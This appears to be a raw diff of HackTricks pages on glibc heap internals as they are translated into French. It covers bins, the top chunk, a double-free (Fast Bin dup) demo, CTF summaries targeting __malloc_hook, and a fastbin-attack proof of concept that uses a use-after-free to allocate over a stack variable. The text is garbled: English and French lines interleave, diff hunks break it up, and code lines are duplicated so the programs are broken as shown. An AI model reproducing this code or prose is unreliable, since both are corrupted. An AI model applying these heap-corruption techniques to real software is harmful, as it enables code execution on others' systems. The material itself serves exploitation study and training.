Les bins larges sont plus lents à fonctionner par rapport aux petits bins car ils doivent **trier et rechercher à travers une liste de tailles de morceaux variées pour trouver le meilleur ajustement** pour une allocation. Lorsqu'un morceau est inséré dans un bin large, il doit être trié, et lorsque la mémoire est allouée, le système doit trouver le bon morceau. Ce travail supplémentaire les rend **plus lents**, mais comme les grandes allocations sont moins courantes que les petites, c'est un compromis acceptable.
There are:
Il y a :
- 32 bins of 64B range (collide with small bins)
- 16 bins of 512B range (collide with small bins)
- 8bins of 4096B range (part collide with small bins)
- 4bins of 32768B range
- 2bins of 262144B range
- 1bin for remaining sizes
- 32 bins de plage 64B (collision avec les petits bins)
- 16 bins de plage 512B (collision avec les petits bins)
- 8 bins de plage 4096B (partiellement en collision avec les petits bins)
- 4 bins de plage 32768B
- 2 bins de plage 262144B
- 1 bin pour les tailles restantes
<details>
<summary>Large bin sizes code</summary>
<summary>Code des tailles de bin large</summary>
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define largebin_index_32(sz) \
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
```
</details>
<details>
<summary>Add a large chunk example</summary>
<summary>Ajouter un exemple de gros morceau</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[2];
char *chunks[2];
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
return 0;
return 0;
}
```
2 grandes allocations sont effectuées, puis l'une est libérée (la plaçant dans le bin non trié) et une plus grande allocation est faite (déplaçant la libérée du bin non trié vers le bin large).
2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin).
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
Compilez-le et déboguez-le avec un point d'arrêt dans l'opcode `ret` de la fonction `main`. Ensuite, avec `gef`, vous pouvez voir que le bin tcache est plein et qu'un chunk est dans le bin large :
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 large non-empty bins.
```
</details>
### Top Chunk
### Partie supérieure
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Top
Top
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
En gros, il s'agit d'un morceau contenant tout le tas actuellement disponible. Lorsqu'un malloc est effectué, s'il n'y a pas de morceau libre disponible à utiliser, ce morceau supérieur réduira sa taille pour donner l'espace nécessaire.\
Le pointeur vers le Top Chunk est stocké dans la structure `malloc_state`.
Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\
The pointer to the Top Chunk is stored in the `malloc_state` struct.
Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
De plus, au début, il est possible d'utiliser le morceau non trié comme le morceau supérieur.
<details>
<summary>Observe the Top Chunk example</summary>
<summary>Observez l'exemple du Top Chunk</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
}
```
After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
Après avoir compilé et débogué avec un point d'arrêt dans l'opcode `ret` de `main`, j'ai vu que le malloc a renvoyé l'adresse `0xaaaaaaac12a0` et voici les chunks :
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
It's also possible to see the length of the Top chunk on its chunk header:
Où l'on peut voir que le top chunk est à l'adresse `0xaaaaaaac1ae0`. Ce n'est pas une surprise car le dernier chunk alloué était à `0xaaaaaaac12a0` avec une taille de `0x410` et `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
Il est également possible de voir la longueur du Top chunk sur son en-tête de chunk :
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
```
</details>
### Last Remainder
### Dernier Reste
When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct.
Lorsque malloc est utilisé et qu'un morceau est divisé (à partir du tas non trié ou du morceau supérieur par exemple), le morceau créé à partir du reste du morceau divisé est appelé Dernier Reste et son pointeur est stocké dans la structure `malloc_state`.
## Allocation Flow
## Flux d'Allocation
Check out:
Consultez :
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
## Free Flow
## Flux de Libération
Check out:
Consultez :
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
## Heap Functions Security Checks
## Vérifications de Sécurité des Fonctions de Tas
Check the security checks performed by heavily used functions in heap in:
Vérifiez les vérifications de sécurité effectuées par les fonctions largement utilisées dans le tas dans :
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## Références
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -2,130 +2,128 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
Si vous libérez un bloc de mémoire plus d'une fois, cela peut perturber les données de l'allocateur et ouvrir la porte à des attaques. Voici comment cela se produit : lorsque vous libérez un bloc de mémoire, il retourne dans une liste de morceaux libres (par exemple, le "fast bin"). Si vous libérez le même bloc deux fois de suite, l'allocateur détecte cela et renvoie une erreur. Mais si vous **libérez un autre morceau entre-temps, la vérification de double libération est contournée**, provoquant une corruption.
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
Example:
Maintenant, lorsque vous demandez de la nouvelle mémoire (en utilisant `malloc`), l'allocateur peut vous donner un **bloc qui a été libéré deux fois**. Cela peut conduire à deux pointeurs différents pointant vers le même emplacement mémoire. Si un attaquant contrôle l'un de ces pointeurs, il peut modifier le contenu de cette mémoire, ce qui peut causer des problèmes de sécurité ou même leur permettre d'exécuter du code.
Exemple :
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
return 0;
return 0;
}
```
Dans cet exemple, après avoir rempli le tcache avec plusieurs chunks libérés (7), le code **libère le chunk `h`, puis le chunk `i`, et ensuite `h` à nouveau, provoquant un double free** (également connu sous le nom de Fast Bin dup). Cela ouvre la possibilité de recevoir des adresses mémoire qui se chevauchent lors de la réallocation, ce qui signifie que deux ou plusieurs pointeurs peuvent pointer vers la même localisation mémoire. Manipuler des données via un pointeur peut alors affecter l'autre, créant un risque de sécurité critique et un potentiel d'exploitation.
In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation.
En l'exécutant, notez comment **`i1` et `i2` ont obtenu la même adresse** :
Executing it, note how **`i1` and `i2` got the same address**:
<pre><code>Initial allocations:
a: 0xaaab0f0c22a0
b: 0xaaab0f0c22c0
c: 0xaaab0f0c22e0
d: 0xaaab0f0c2300
e: 0xaaab0f0c2320
f: 0xaaab0f0c2340
g: 0xaaab0f0c2360
h: 0xaaab0f0c2380
i: 0xaaab0f0c23a0
After reallocations:
a1: 0xaaab0f0c2360
b1: 0xaaab0f0c2340
c1: 0xaaab0f0c2320
d1: 0xaaab0f0c2300
e1: 0xaaab0f0c22e0
f1: 0xaaab0f0c22c0
g1: 0xaaab0f0c22a0
h1: 0xaaab0f0c2380
<strong>i1: 0xaaab0f0c23a0
</strong><strong>i2: 0xaaab0f0c23a0
<pre><code>Allocations initiales :
a : 0xaaab0f0c22a0
b : 0xaaab0f0c22c0
c : 0xaaab0f0c22e0
d : 0xaaab0f0c2300
e : 0xaaab0f0c2320
f : 0xaaab0f0c2340
g : 0xaaab0f0c2360
h : 0xaaab0f0c2380
i : 0xaaab0f0c23a0
Après réallocations :
a1 : 0xaaab0f0c2360
b1 : 0xaaab0f0c2340
c1 : 0xaaab0f0c2320
d1 : 0xaaab0f0c2300
e1 : 0xaaab0f0c22e0
f1 : 0xaaab0f0c22c0
g1 : 0xaaab0f0c22a0
h1 : 0xaaab0f0c2380
<strong>i1 : 0xaaab0f0c23a0
</strong><strong>i2 : 0xaaab0f0c23a0
</strong></code></pre>
## Examples
## Exemples
- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
- We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
- Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
- One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
- We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
- Nous ne pouvons allouer que des chunks de taille Fast-Bin sauf pour la taille `0x70`, ce qui empêche l'écrasement habituel de `__malloc_hook`.
- Au lieu de cela, nous utilisons des adresses PIE qui commencent par `0x56` comme cible pour Fast Bin dup (1/2 chance).
- Un endroit où les adresses PIE sont stockées est dans `main_arena`, qui se trouve à l'intérieur de Glibc et près de `__malloc_hook`.
- Nous ciblons un offset spécifique de `main_arena` pour allouer un chunk là-bas et continuer à allouer des chunks jusqu'à atteindre `__malloc_hook` pour obtenir une exécution de code.
- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
- Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
- We allocate three chunks of size `0x110` (`A`, `B`, `C`)
- We free `B`
- We free `A` and allocate again to use the null-byte overflow
- Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
- We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
- We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
- En utilisant des bins Tcache et un débordement de null-byte, nous pouvons atteindre une situation de double-free :
- Nous allouons trois chunks de taille `0x110` (`A`, `B`, `C`)
- Nous libérons `B`
- Nous libérons `A` et allouons à nouveau pour utiliser le débordement de null-byte
- Maintenant, le champ de taille de `B` est `0x100`, au lieu de `0x111`, donc nous pouvons le libérer à nouveau
- Nous avons un Tcache-bin de taille `0x110` et un de taille `0x100` qui pointent vers la même adresse. Donc nous avons un double free.
- Nous exploitons le double free en utilisant [Tcache poisoning](tcache-bin-attack.md)
## References
## Références
- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)

View File

@ -2,18 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
For more information about what is a fast bin check this page:
Pour plus d'informations sur ce qu'est un fast bin, consultez cette page :
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
As summary:
Parce que le fast bin est une liste chaînée simple, il y a beaucoup moins de protections que dans d'autres bins et il suffit de **modifier une adresse dans un chunk de fast bin libéré** pour pouvoir **allouer plus tard un chunk à n'importe quelle adresse mémoire**.
En résumé :
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
@ -29,9 +28,7 @@ free(ptr1)
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
```
You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
Vous pouvez trouver un exemple complet dans un code très bien expliqué de [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
```c
#include <stdio.h>
#include <string.h>
@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
